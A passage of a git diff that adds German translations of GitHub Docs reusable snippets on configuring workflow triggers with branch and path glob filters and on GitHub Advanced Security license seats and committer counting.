+- Ein passendes negatives Muster (mit dem Präfix `!`) nach einer positiven Übereinstimmung schließt den Verweis auf Git aus.
+- Ein übereinstimmendes positives Muster nach einem negativen Abgleich schließt die Git-Ref wieder ein.
+
+Der folgenden Workflow führt Pushes an `releases/10` oder `releases/beta/mona` aus, aber nicht an `releases/10-alpha` oder `releases/beta/3-alpha`, da das negative Muster `!releases/**-alpha` dem positiven Muster folgt.
+
+```yaml
+on:
+  push:
+    branches:
+      - 'releases/**'
+      - '!releases/**-alpha'
+```
diff --git a/translations/de-DE/data/reusables/actions/workflows/section-specifying-branches.md b/translations/de-DE/data/reusables/actions/workflows/section-specifying-branches.md
new file mode 100644
index 0000000000..39bc951164
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/workflows/section-specifying-branches.md
@@ -0,0 +1,53 @@
+---
+ms.openlocfilehash: a35ad50ac71e34c7aecdc8f58720f962375acabd
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145067788"
+---
+
+Wenn du das `workflow_run`-Ereignis verwendest, kannst du angeben, in welchen Branches der auslösende Workflow ausgeführt werden muss, um deinen Workflow auszulösen.
+
+Die Filter `branches` und `branches-ignore` akzeptieren Globmuster, die die Platzhalterzeichen `*`, `**`, `+`, `?`, `!` und andere verwenden, um zu mehr als einem Branch-Namen zu passen. Wenn ein Name eines dieser Zeichen enthält und du eine literale Übereinstimmung wünscht, musst du für jedes dieser Sonderzeichen mit *Escape* mit `\` verwenden. Weitere Informationen zu Globmustern findest du auf dem „[Filtermuster-Spickzettel](/actions/using-workflows/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet)“.
+
+Beispielsweise wird ein Workflow mit dem folgenden Trigger nur ausgeführt, wenn der Workflow namens `Build` in einem Branch namens `releases/` ausgeführt wird.
+
+```yaml
+on:
+  workflow_run:
+    workflows: ["Build"]
+    types: [requested]
+    branches:
+      - 'releases/**'
+```
+
+Beispielsweise wird ein Workflow mit dem folgenden Trigger nur ausgeführt, wenn der Workflow namens `Build` in einem Branch namens `canary` ausgeführt wird:
+
+```yaml
+on:
+  workflow_run:
+    workflows: ["Build"]
+    types: [requested]
+    branches-ignore:
+      - "canary"
+```
+
+Du kannst die Filter `branches` und `branches-ignore` nicht für dasselbe Ereignis in einem Workflow nutzen. Wenn du Branch-Muster für ein einzelnes Ereignis sowohl einschließen als auch ausschließen möchtest, verwende den `branches`-Filter zusammen mit dem `!`-Zeichen, um die auszuschließenden Branches anzugeben.
+
+Die Reihenfolge, in der du die Muster definierst, ist entscheidend.
+
+- Ein passendes negatives Muster (Präfix `!`) nach einem positiven Abgleich schließt die Branch aus.
+- Ein passendes positives Muster nach einem negativen Abgleich schließt die Branch wieder ein.
+
+Beispielsweise wird ein Workflow mit dem folgenden Trigger nur ausgeführt, wenn der Workflow namens `Build` in einem Branch namens `releases/10` oder `releases/beta/mona`, aber nicht `releases/10-alpha`, `releases/beta/3-alpha` oder `main` ausgeführt wird.
+
+```yaml
+on:
+  workflow_run:
+    workflows: ["Build"]
+    types: [requested]
+    branches:
+      - 'releases/**'
+      - '!releases/**-alpha'
+```
diff --git a/translations/de-DE/data/reusables/actions/workflows/section-triggering-a-workflow-branches.md b/translations/de-DE/data/reusables/actions/workflows/section-triggering-a-workflow-branches.md
new file mode 100644
index 0000000000..4547416a5c
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/workflows/section-triggering-a-workflow-branches.md
@@ -0,0 +1,70 @@
+---
+ms.openlocfilehash: 476305b7c40430f20edb235a1c1ce73482464c90
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146064235"
+---
+Wenn Du die Ereignisse `pull_request` und `pull_request_target` verwendest, kannst Du einen Workflow konfigurieren, der nur für Pull Requests ausgeführt werden kann, die auf bestimmte Branches abzielen.
+
+Verwende den Filter `branches`, wenn Du Branchnamenmuster entweder einschließen oder ein- und ausschließen möchtest. Verwende den Filter `branches-ignore`, wenn du Branchnamenmuster nur ausschließen möchtest. Du kannst die Filter `branches` und `branches-ignore` nicht für dasselbe Ereignis in einem Workflow nutzen.
+
+Wenn Du sowohl `branches`/`branches-ignore` als auch [`paths`](#onpushpull_requestpull_request_targetpathspaths-ignore) definierst, wird der Workflow nur ausgeführt, wenn beide Filter zutreffen.
+
+Die Schlüsselwörter `branches` und `branches-ignore` akzeptieren Globmuster, die die Platzhalterzeichen `*`, `**`, `+`, `?`, `!` verwenden, um zu mehr als einem Branchnamen zu passen. Wenn ein Name eines dieser Zeichen enthält und Du eine literale Übereinstimmung wünscht, musst Du jedes dieser Sonderzeichen mit `\` als Escapezeichen verwenden. Weitere Informationen zu Globmustern findest Du im „[Filtermuster-Spickzettel](/actions/using-workflows/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet)“.
+
+#### Beispiel: Einschließen von Branches
+
+Die in `branches` definierten Muster werden mit dem Namen des Git-Ref ausgewertet. Der folgende Workflow würde zum Beispiel immer dann ablaufen, wenn ein `pull_request`-Ereignis für einen Pull Request vorliegt:
+
+- Ein Branch namens `main` (`refs/heads/main`)
+- Ein Branch namens `mona/octocat` (`refs/heads/mona/octocat`)
+- Ein Branch, dessen Name mit `releases/` beginnt, wie `releases/10` (`refs/heads/releases/10`)
+
+```yaml
+on:
+  pull_request:
+    # Sequence of patterns matched against refs/heads
+    branches:    
+      - main
+      - 'mona/octocat'
+      - 'releases/**'
+```
+
+#### Beispiel: Ausschließen von Branches
+
+Wenn ein Muster dem Muster `branches-ignore` entspricht, wird der Workflow nicht ausgeführt. Die in `branches` definierten Muster werden mit dem Namen des Git-Ref ausgewertet. Der folgende Arbeitsablauf würde zum Beispiel immer dann ablaufen, wenn ein `pull_request`-Ereignis eintritt, es sei denn, der Pull Request ist zielgerichtet:
+
+- Ein Branch namens `mona/octocat` (`refs/heads/mona/octocat`)
+- Ein Branch, dessen Name mit `releases/**-alpha` übereinstimmt, wie `releases/beta/3-alpha` (`refs/heads/releases/beta/3-alpha`)
+
+```yaml
+on:
+  pull_request:
+    # Sequence of patterns matched against refs/heads
+    branches-ignore:    
+      - 'mona/octocat'
+      - 'releases/**-alpha'
+```
+
+#### Beispiel: Einschließen und Ausschließen von Branches
+
+Du kannst dasselbe Ereignis nicht mit `branches` und `branches-ignore` in einem einzigen Workflow filtern. Wenn Du Branchmuster für ein einzelnes Ereignis sowohl einschließen als auch ausschließen möchten, verwendest Du den Filter `branches` zusammen mit dem Zeichen `!`, um die auszuschließenden Branches anzugeben.
+
+Wenn Du einen Branch mit dem Zeichen `!` definierst, musst Du auch mindestens einen Branch ohne das Zeichen `!` definieren. Wenn Du nur Branches ausschließen möchten, verwendest Du stattdessen `branches-ignore`.
+
+Die Reihenfolge, in der Du die Muster definierst, ist entscheidend.
+
+- Ein passendes negatives Muster (mit dem Präfix `!`) nach einer positiven Übereinstimmung schließt den Verweis auf Git aus.
+- Ein übereinstimmendes positives Muster nach einem negativen Abgleich schließt die Git-Ref wieder ein.
+
+Der folgende Workflow wird bei `pull_request`-Ereignissen für Pull Requests ausgeführt, die auf `releases/10` oder `releases/beta/mona` abzielen, aber nicht für Pull-Requests, die auf `releases/10-alpha` oder `releases/beta/3-alpha` abzielen, weil das negative Muster `!releases/**-alpha` auf das positive Muster folgt.
+
+```yaml
+on:
+  pull_request:
+    branches:    
+      - 'releases/**'
+      - '!releases/**-alpha'
+```
diff --git a/translations/de-DE/data/reusables/actions/workflows/section-triggering-a-workflow-paths.md b/translations/de-DE/data/reusables/actions/workflows/section-triggering-a-workflow-paths.md
new file mode 100644
index 0000000000..adfab2d803
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/workflows/section-triggering-a-workflow-paths.md
@@ -0,0 +1,86 @@
+---
+ms.openlocfilehash: 621271104f28983cd2cc1319a302fc1654e54acb
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145067780"
+---
+
+Wenn du die Ereignisse `push` und `pull_request` verwendest, kannst du einen Workflow konfigurieren, der basierend auf den geänderten Dateipfaden ausgeführt wird. Bei Push-Vorgängen zu Tags werden Pfadfilter nicht ausgewertet.
+
+Verwende den Filter `paths`, wenn du Dateipfadmuster entweder einschließen oder einschließen und ausschließen möchtest. Verwende den Filter `paths-ignore`, wenn du Dateipfadmuster nur ausschließen möchtest. Du kannst die Filter `paths` und `paths-ignore` nicht für dasselbe Ereignis in einem Workflow nutzen.
+
+Wenn du sowohl `branches`/`branches-ignore` als auch `paths` definierst, wird der Workflow nur ausgeführt, wenn beide Filter zutreffen.
+
+Die Schlüsselwörter `paths` und `paths-ignore` akzeptieren Globmuster, die die Platzhalterzeichen `*` und `**` verwenden, um zu mehr als einem Pfadnamen zu passen. Weitere Informationen findest du auf dem [Filtermuster-Spickzettel](/actions/using-workflows/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet).
+
+#### Beispiel: Einschließen von Pfaden
+
+Wenn mindestens ein Pfad zu einem Muster im Filter `paths` passt, wird der Workflow ausgeführt. Der folgende Workflow wird beispielsweise jedes Mal ausgeführt, wenn du eine JavaScript-Datei (`.js`) pushst.
+
+```yaml
+on:
+  push:
+    paths:
+      - '**.js'
+```
+
+{% note %}
+
+**Hinweis:** Wenn ein Workflow aufgrund von [Pfadfilterung](/actions/using-workflows/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore), [Branchfilterung](/actions/using-workflows/workflow-syntax-for-github-actions#onpull_requestpull_request_targetbranchesbranches-ignore) oder einer [Commitnachricht](/actions/managing-workflow-runs/skipping-workflow-runs) übersprungen wird, verbleiben diesem Workflow zugeordnete Überprüfungen im Status „Ausstehend“. Ein Pull Request, bei dem diese Prüfungen erfolgreich sein müssen, wird vom Mergen ausgeschlossen. Weitere Informationen findest du unter [Handhabung übersprungener, jedoch erforderlicher Überprüfungen](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks#handling-skipped-but-required-checks).
+
+{% endnote %}
+
+#### Beispiel: Ausschließen von Pfaden
+
+Wenn alle Pfadnamen mit Mustern in `paths-ignore` übereinstimmen, wird der Workflow nicht ausgeführt. Wenn manche Pfadnamen nicht mit Mustern in `paths-ignore` übereinstimmen, wird der Workflow ausgeführt, obwohl einige Pfadnamen den Mustern entsprechen.
+
+Ein Workflow mit dem folgenden Pfadfilter wird nur bei `push`-Ereignissen ausgeführt, bei denen sich mindestens eine Datei außerhalb des Verzeichnisses `docs` im Stamm des Repositorys befindet.
+
+```yaml
+on:
+  push:
+    paths-ignore:
+      - 'docs/**'
+```
+
+#### Beispiel: Einschließen und Ausschließen von Pfaden
+
+Du kannst dasselbe Ereignis nicht mit `paths` und `paths-ignore` in einem einzigen Workflow filtern. Wenn du Pfadmuster für ein einzelnes Ereignis sowohl einschließen als auch ausschließen möchtest, verwende den Filter `paths` zusammen mit dem Zeichen `!`, um die auszuschließenden Pfade anzugeben.
+
+Wenn du einen Pfad mit dem Zeichen `!` definierst, musst du auch mindestens einen Pfad ohne das Zeichen `!` definieren. Wenn du nur Pfade ausschließen möchtest, verwende stattdessen `paths-ignore`.
+
+Die Reihenfolge, in der du Muster definierst, ist entscheidend:
+
+- Ein passendes negatives Muster mit dem Präfix `!` nach einem positiven Abgleich schließt den Pfad aus.
+- Ein passendes positives Muster nach einem negativen Abgleich schließt den Pfad wieder ein.
+
+In diesem Beispiel wird jedes Mal ausgeführt, wenn das Ereignis `push` eine Datei im Verzeichnis `sub-project` oder in seinen Unterverzeichnissen enthält, es sei denn, die Datei befindet sich im Verzeichnis `sub-project/docs`. Beispielsweise löst in Push, der `sub-project/index.js` oder `sub-project/src/index.js` geändert hat, die Ausführung eines Workflows aus, dies geschieht jedoch nicht, wenn nur `sub-project/docs/readme.md` geändert wurde.
+
+```yaml
+on:
+  push:
+    paths:
+      - 'sub-project/**'
+      - '!sub-project/docs/**'
+```
+
+#### Git-Diff-Vergleiche
+
+{% note %}
+
+**Hinweis:** Wenn der Push-Vorgang mehr als 1.000 Commits umfasst oder wenn {% data variables.product.prodname_dotcom %} die Diff wegen einer Zeitüberschreitung nicht erzeugt, wird der Workflow immer ausgeführt.
+
+{% endnote %}
+
+Um zu ermitteln, ob ein Workflow ausgeführt werden soll, wertet der Filter die geänderten Dateien anhand der Listen `paths-ignore` oder `paths` aus. Wurden keine Dateien geändert, wird der Workflow nicht ausgeführt.
+
+{% data variables.product.prodname_dotcom %} erzeugt die Liste der geänderten Dateien mithilfe von „Two-Dot-Diffs“ (Vergleiche mittels 2 Punkt-Syntax „..“) für Push-Vorgänge und „Three-Dot-Diffs“ (Vergleiche mittels 3 Punkt-Syntax „...“) für Pull-Requests:
+- **Pull Requests:** Three-Dot-Diffs ziehen den Vergleich zwischen der neuesten Version des Topic-Branch und des Commit, bei dem der Topic-Branch zuletzt mit dem Basis-Branch synchronisiert wurde.
+- **Push-Vorgänge an bestehende Branches:** Eine Two-Dot-Diff vergleicht die Head- und Basis-SHAs direkt miteinander.
+- **Push-Vorgänge an neue Branches:** Eine Two-Dot-Diff wird zum übergeordneten Element des Vorgängers des tiefsten Commits gepusht.
+
+Diffs sind auf 300 Dateien beschränkt. Wenn Dateien geändert werden, die nicht mit den ersten 300 vom Filter zurückgegebenen Dateien übereinstimmen, wird der Workflow nicht ausgeführt. Du musst eventuell genauere Filter erstellen, damit der Workflow automatisch ausgeführt wird.
+
+Weitere Informationen findest du unter [Informationen zum Vergleichen von Branches in Pull Requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests).
diff --git a/translations/de-DE/data/reusables/actions/workflows/section-triggering-a-workflow-schedule.md b/translations/de-DE/data/reusables/actions/workflows/section-triggering-a-workflow-schedule.md
new file mode 100644
index 0000000000..fb068a37c4
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/workflows/section-triggering-a-workflow-schedule.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: ab26e7b669a3d22a6ef507ffeb30f74f6f9d7ef8
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103608"
+---
+Mithilfe von `on.schedule` kannst du einen Zeitplan für deine Workflows definieren. {% data reusables.repositories.actions-scheduled-workflow-example %}
+
+Weitere Informationen zur Cron-Syntax findest du unter [Ereignisse, die Workflows auslösen](/actions/automating-your-workflow-with-github-actions/events-that-trigger-workflows#scheduled-events).
diff --git a/translations/de-DE/data/reusables/actions/workflows/section-triggering-a-workflow-types.md b/translations/de-DE/data/reusables/actions/workflows/section-triggering-a-workflow-types.md
new file mode 100644
index 0000000000..8c04b272f6
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/workflows/section-triggering-a-workflow-types.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 67b4dd3749936efb6a7eef53fc38543c3c8a6451
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877053"
+---
+Verwende `on.<event_name>.types` zum Definieren des Aktivitätstyps, der eine Workflowausführung auslöst. Die meisten GitHub-Ereignisse werden von mehreren Aktivitätstypen ausgelöst.  Beispielsweise wird `label` ausgelöst, wenn für eine Bezeichnung eine der folgenden Aktivitäten durchgeführt wird: `created`, `edited` oder `deleted`. Mit dem Schlüsselwort `types` kannst du die Aktivitäten eingrenzen, durch die die Ausführung des Workflows ausgelöst wird. Wenn nur ein Aktivitätstyp ein Webhookereignis auslöst, ist das Schlüsselwort `types` unnötig.
+
+Du kannst ein Array von `types` für Ereignisse verwenden. Weitere Informationen zu jedem Ereignis und den zugehörigen Aktivitätstypen findest du unter [Ereignisse zum Auslösen von Workflows](/actions/using-workflows/events-that-trigger-workflows#available-events).
+
+```yaml
+on:
+  label:
+    types: [created, edited]
+```
diff --git a/translations/de-DE/data/reusables/actions/workflows/section-triggering-a-workflow.md b/translations/de-DE/data/reusables/actions/workflows/section-triggering-a-workflow.md
new file mode 100644
index 0000000000..607cc8d370
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/workflows/section-triggering-a-workflow.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: b52d7ccc2e31d94e252d60985fde1c2c5c26f231
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103604"
+---
+
+Zum automatischen Auslösen eines Workflows definierst du mit `on`, welche Ereignisse eine Ausführung des Workflows verursachen. Eine Liste der verfügbaren Ereignisse findest du unter [Ereignisse, die Workflows auslösen](/articles/events-that-trigger-workflows).
+
+Du kannst einzelne oder mehrere Ereignisse definieren, die einen Workflow auslösen, oder einen Zeitplan festlegen. Du kannst auch die Ausführung eines Workflows auf bestimmte Dateien, Tags oder Branchänderungen beschränken. Diese Optionen sind in den folgenden Abschnitten beschrieben.
+
+{% data reusables.actions.actions-on-examples %}
diff --git a/translations/de-DE/data/reusables/advanced-security/about-committer-numbers-ghec-ghes.md b/translations/de-DE/data/reusables/advanced-security/about-committer-numbers-ghec-ghes.md
new file mode 100644
index 0000000000..6f3376cb84
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/about-committer-numbers-ghec-ghes.md
@@ -0,0 +1,14 @@
+We record and display two numbers of committers for {% data variables.product.prodname_GH_advanced_security %} on {% data variables.location.product_location %}:
+
+- **Committers** is the number of committers who contributed to at least one {% ifversion fpt or ghec %}private {% endif %}repository in an organization and who use a seat in your enterprise license. That is, they are also an organization member, an external collaborator, or have a pending invitation to join an organization in your enterprise.
+- **Unique to this repository/organization** is the number of committers who contributed only to this repository, or to repositories in this organization. This number shows how many license seats you can free up by disabling {% data variables.product.prodname_GH_advanced_security %} for that repository or organization.
+
+If there are no unique committers, all active committers also contribute to other repositories or organizations that use {% data variables.product.prodname_GH_advanced_security %}. Disabling the feature for that repository or organization would not free any seats on your license.
+
+When you remove a user from your enterprise account, the user's license is freed within 24 hours.
+
+{% note %}
+
+**Note:** Users can contribute to multiple repositories or organizations. Usage is measured across the whole enterprise account to ensure that each member uses one seat regardless of how many repositories or organizations the user contributes to.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/advanced-security/about-ghas-license-seats.md b/translations/de-DE/data/reusables/advanced-security/about-ghas-license-seats.md
new file mode 100644
index 0000000000..1dcb0d0b43
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/about-ghas-license-seats.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a16915bc01711ffbe5aefbb0d16ce4b967c167cd
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877061"
+---
+Jede Lizenz für {% data variables.product.prodname_GH_advanced_security %} gibt eine maximale Anzahl von Konten oder Arbeitsplätzen an, die diese Features verwenden können. Du solltest regelmäßig überprüfen, ob deine Nutzung innerhalb deiner Lizenzkapazität liegt.
diff --git a/translations/de-DE/data/reusables/advanced-security/about-ghas-organization-policy.md b/translations/de-DE/data/reusables/advanced-security/about-ghas-organization-policy.md
new file mode 100644
index 0000000000..37ab6f5e8c
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/about-ghas-organization-policy.md
@@ -0,0 +1,5 @@
+{% ifversion fpt or ghec or ghes %}{% data variables.product.company_short %} bills for {% data variables.product.prodname_advanced_security %} on a per-committer basis. For more information, see "[Managing licensing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-licensing-for-github-advanced-security)."{% elsif ghes %}For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} for your Enterprise](/admin/advanced-security)."{% endif %}
+
+You can enforce a policy that controls whether repository administrators are allowed to enable features for {% data variables.product.prodname_advanced_security %} in an organization's repositories. You can configure a policy for all organizations owned by your enterprise account, or for individual organizations that you choose.
+
+Disallowing {% data variables.product.prodname_advanced_security %} for an organization prevents repository administrators from enabling {% data variables.product.prodname_advanced_security %} features for additional repositories, but does not disable the features for repositories where the features are already enabled. For more information about configuration of {% data variables.product.prodname_advanced_security %} features, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" or "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."
diff --git a/translations/de-DE/data/reusables/advanced-security/check-for-ghas-license.md b/translations/de-DE/data/reusables/advanced-security/check-for-ghas-license.md
new file mode 100644
index 0000000000..b3aa21c582
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/check-for-ghas-license.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c5fa7c8703f3f0f4e99da4dc240b72588b4c25b3
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145091242"
+---
+Du kannst ermitteln, ob dein Unternehmen über eine {% data variables.product.prodname_GH_advanced_security %}-Lizenz verfügt, indem du deine Unternehmenseinstellungen überprüfst. Weitere Informationen findest du unter [Aktivieren von GitHub Advanced Security für dein Unternehmen](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise#checking-whether-your-license-includes-github-advanced-security).
diff --git a/translations/de-DE/data/reusables/advanced-security/custom-link-beta.md b/translations/de-DE/data/reusables/advanced-security/custom-link-beta.md
new file mode 100644
index 0000000000..a76c5d002a
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/custom-link-beta.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: f9f5661230c99fb281c3625972b7e5d0fce98963
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108294"
+---
+{% note %}
+
+**Hinweis**: Die Möglichkeit, Ressourcenlinks blockierten Pushnachrichten hinzuzufügen, befindet sich derzeit in der öffentlichen Betaphase und kann noch geändert werden.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/advanced-security/getting-the-most-from-your-license.md b/translations/de-DE/data/reusables/advanced-security/getting-the-most-from-your-license.md
new file mode 100644
index 0000000000..916019daf2
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/getting-the-most-from-your-license.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 255dcb0346e9413e32492c34a7724df6284cd325
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146455741"
+---
+Wenn du entscheidest, welche Repositorys und Organisationen für {% data variables.product.prodname_GH_advanced_security %} priorisiert werden sollen, solltest du diese überprüfen und identifizieren:
+
+- Codebasen, die für den Erfolg deines Unternehmens am wichtigsten sind. Dies sind die Projekte, bei denen die Verwendung von anfälligem Code, hartcodierten Geheimnissen oder unsicheren Abhängigkeiten die größten Auswirkungen auf dein Unternehmen haben würde.
+- Codebases mit der höchsten Commithäufigkeit. Dies sind die aktivsten entwickelten Projekte, daher besteht ein höheres Risiko, dass Sicherheitsprobleme eingebracht werden könnten.
+
+Wenn du {% data variables.product.prodname_GH_advanced_security %} für diese Organisationen oder Repositorys aktiviert hast, bewerte, welche anderen Codebasen du hinzufügen kannst, ohne dass eine Abrechnung für eindeutige Commiter verursacht wird. Überprüfe schließlich die verbleibenden wichtigen und ausgelasteten Codebasen. {% ifversion fpt or ghes or ghec %} Wenn du die Anzahl der Arbeitsplätze in deiner Lizenz erhöhen möchtest, wende dich an {% data variables.contact.contact_enterprise_sales %}. {% endif %}
diff --git a/translations/de-DE/data/reusables/advanced-security/ghas-helps-developers.md b/translations/de-DE/data/reusables/advanced-security/ghas-helps-developers.md
new file mode 100644
index 0000000000..c63fbcc848
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/ghas-helps-developers.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6bf73ca92cb1ff519f97c1a0312379ddbcfcdd8f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877058"
+---
+{% data variables.product.prodname_GH_advanced_security %} hilft Entwicklern, die Sicherheit und Qualität von Code zu verbessern und zu erhalten. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security).
diff --git a/translations/de-DE/data/reusables/advanced-security/ghas-must-be-enabled.md b/translations/de-DE/data/reusables/advanced-security/ghas-must-be-enabled.md
new file mode 100644
index 0000000000..bc545933f8
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/ghas-must-be-enabled.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: db116a901e27f18a65208bc412246a28712097a6
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148106453"
+---
+{% data variables.product.prodname_GH_advanced_security %}-Features müssen für die Organisation verfügbar sein, damit diese Richtlinie wirksam wird. Weitere Informationen findest du unter [Erzwingen einer Richtlinie für die Verwendung von {% data variables.product.prodname_GH_advanced_security %} in deinem Unternehmen](#enforcing-a-policy-for-the-use-of-github-advanced-security-in-your-enterprises-organizations).
diff --git a/translations/de-DE/data/reusables/advanced-security/license-overview.md b/translations/de-DE/data/reusables/advanced-security/license-overview.md
new file mode 100644
index 0000000000..9e8ee29828
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/license-overview.md
@@ -0,0 +1,20 @@
+---
+ms.openlocfilehash: 5d75f2a8b4c2c9bfdf7b491d23f76f4f820b98e7
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145091236"
+---
+Jede Lizenz für {% data variables.product.prodname_GH_advanced_security %} gibt eine maximale Anzahl von Konten oder Arbeitsplätzen an, die diese Features verwenden können. Jede aktive Person, die Commits an mindestens ein Repository sendet (Committer), für das dieses Feature aktiviert ist, verwendet einen Arbeitsplatz. Ein Committer gilt als aktiv, wenn einer seiner Commits innerhalb der letzten 90 Tage an das Repository gepusht wurde, unabhängig davon, wann der Commit ursprünglich erstellt wurde.
+
+{% note %}
+
+**Hinweis**: Aktive Committer werden sowohl anhand der Information zum Commitersteller als auch anhand des Zeitstempels berechnet, an dem Code an {% data variables.product.product_name %} gepusht wurde.
+
+- Wenn ein Benutzer Code an {% data variables.product.prodname_dotcom %} pusht, wird jeder Benutzer, der Code in diesem Push erstellt hat, auf die Arbeitsplätze in {% data variables.product.prodname_GH_advanced_security %} angerechnet. Dies gilt auch dann, wenn der Code in {% data variables.product.prodname_dotcom %} nicht neu ist.
+
+- Benutzer sollten Branches immer aus einer aktuellen Basis erstellen oder vor dem Pushen ein Rebase ausführen. Dadurch wird sichergestellt, dass Benutzer, die in den letzten 90 Tagen keine Commits gepusht haben, keine {% data variables.product.prodname_GH_advanced_security %}-Arbeitsplätze belegen.
+
+{% endnote %}
+
diff --git a/translations/de-DE/data/reusables/advanced-security/managing-license-usage-ghec-ghes.md b/translations/de-DE/data/reusables/advanced-security/managing-license-usage-ghec-ghes.md
new file mode 100644
index 0000000000..2db5653856
--- /dev/null
+++ b/translations/de-DE/data/reusables/advanced-security/managing-license-usage-ghec-ghes.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: c47a4efc23963dcfa0be69207387cd2d02704aef
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877057"
+---
+Wenn du {% data variables.product.prodname_advanced_security %} für Repositorys aktivierst oder deaktivierst, zeigt {% data variables.product.prodname_dotcom %} eine Übersicht über Änderungen an der Verwendung deiner Lizenz an. Wenn du den Zugriff auf {% data variables.product.prodname_GH_advanced_security %} deaktivierst, werden alle von „eindeutigen“ Committern verwendeten Arbeitsplätze freigegeben.
+
+Wenn du dein Lizenzlimit überschreitest, funktioniert {% data variables.product.prodname_GH_advanced_security %} weiterhin in allen Repositorys, in denen diese Option bereits aktiviert ist. In Organisationen, in denen {% data variables.product.prodname_GH_advanced_security %} für neue Repositorys aktiviert wird, werden Repositorys jedoch mit deaktiviertem Feature erstellt. Darüber hinaus ist die Option zum Aktivieren von {% data variables.product.prodname_GH_advanced_security %} für vorhandene Repositorys nicht verfügbar.{% ifversion fpt or ghec %} Wenn du die Sichtbarkeit eines öffentlichen Repositorys in „privat“ änderst, wird {% data variables.product.prodname_GH_advanced_security %} für dieses Repository deaktiviert.{% endif %}
+
